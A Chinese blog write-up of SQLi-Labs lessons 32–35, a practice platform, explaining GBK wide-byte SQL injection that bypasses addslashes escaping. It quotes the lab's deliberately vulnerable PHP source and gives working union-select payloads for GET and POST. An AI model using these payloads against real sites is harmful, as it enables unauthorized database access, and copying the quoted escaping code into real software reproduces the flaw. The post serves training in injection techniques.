SQLi Labs Lesson32 & 33 & 34 & 35

原创 2016年08月29日 10:39:02

Lesson - 32

GET - By Pass custom filter adding slashes to dangerous chars


首先进入欢迎界面:


构造 ?id=1,结果如图所示:


构造 ?id=1',结果如上图,不变。

构造  ?id=1",结果同上,不变。

但是根据本节提示,发现我们输入的单引号和双引号被转义。




本节学习宽字节注入。

后台php源码:

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

发现在执行SQL语句之前,设置了mysql字符集为GBK

利用此,可以进行宽字节注入。


GBK编码采用双字节编码方案,其编码范围:8140-FEFE

sql注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用。


构造 ?id=0%bf' union select 1,2,3 --+

结果如图所示:


Lesson - 33

GET - Bypass Add slashes

后台php源码:

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

同上节,注入语句.

构造 ?id=0%bf' union select 1,database(),3 --+


Lesson - 34

POST - Bypass Add slashes

后台源代码:

$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
        
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

同上节:

结果如图所示:


如果直接在username中输入 admin%bf' union select 1,2 #

而实际POST的数据为:

用修改POST数据的工具提交才能成功。


Lesson - 35

GET - Bypass Add slashes (we don't need them) Integer based

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}


$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

构造 ?id=0 union select 1,database(),3


当语句中用到单引号时,再用%bf构成宽字节注入。


版权声明:本文为博主原创文章,未经博主允许不得转载。

相关文章推荐

SQLi-Labs Lesson 1-8 notes

SQLI-LABS 是一个专业的SQL注入练习平台,用于学习SQL注入的各种姿势及原理。 info下面的测试场景都支持GET和POST两种注入方式 报错注入(联合查询) 1)字符型 2)数字型 报...

sqli-labs lesson-2

1.测试注入点http://172.16.19.146:8080/sqli-labs-master/Less-4/?id=1'2.猜测列数http://172.16.19.146:8080/sqli-...

sqli-labs lesson1字符型注入

sqli-labs lesson1课字符型注入

SQLi Labs实验指导书

  • 2017年11月02日 16:46
  • 4.99MB
  • 下载

sqli-labs-master

  • 2017年08月22日 20:43
  • 3.49MB
  • 下载

通过sqli-labs学习sql注入——进阶挑战之less23-28a

原文链接:http://blog.csdn.net/u012763794/article/details/51457142 这次我又来了,Advanced Injections(进阶挑战),就是一...

Sqli-labs之Less1-10

为了更好地学习SQL注入,便从sqli-labs开始入手吧。很多东西都是不懂,所以也是从各位前辈、大牛的博客以及书籍中去学习,将自己学到的都记录一下,以便以后的查看。同时也希望各位能够多多给点指导,让...
  • SKI_12
  • SKI_12
  • 2017年04月14日 16:52
  • 832

SQLi Labs 指南

译者:SQL Libs一直也没看到有人写过比较完整的指南,只有作者在自己的博客上帖了一些tip和一些视频,偶然看到一篇文章在写这个,便拿过来翻一下,以作参考,原文较长,分成几个部分。 &...

Win7下 Sqli-labs 环境搭建

最近准备学习sql注入,来搭建一下Sqli-labs,折腾了我好久,终于搭建起来了。 ok,废话不多说,开始搭建! 平台:Win7 SP1 需要准备的东西: 1. Sqli-labs ,下...

SQLI LABS 第七课(布尔盲注)(炒鸡无敌懵穴手?))

昨天见到了一种只返回说语句错误的sql注入。就感觉到很迷茫了,但是现在发现居然还有不反悔错误的,只告诉你错了,什么语句提示都没有,我怀疑可以直接使用昨天学习的那种语句,直接把文件给提取出来。 现在开始...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:SQLi Labs Lesson32 & 33 & 34 & 35
举报原因:
原因补充:

(最多只允许输入30个字)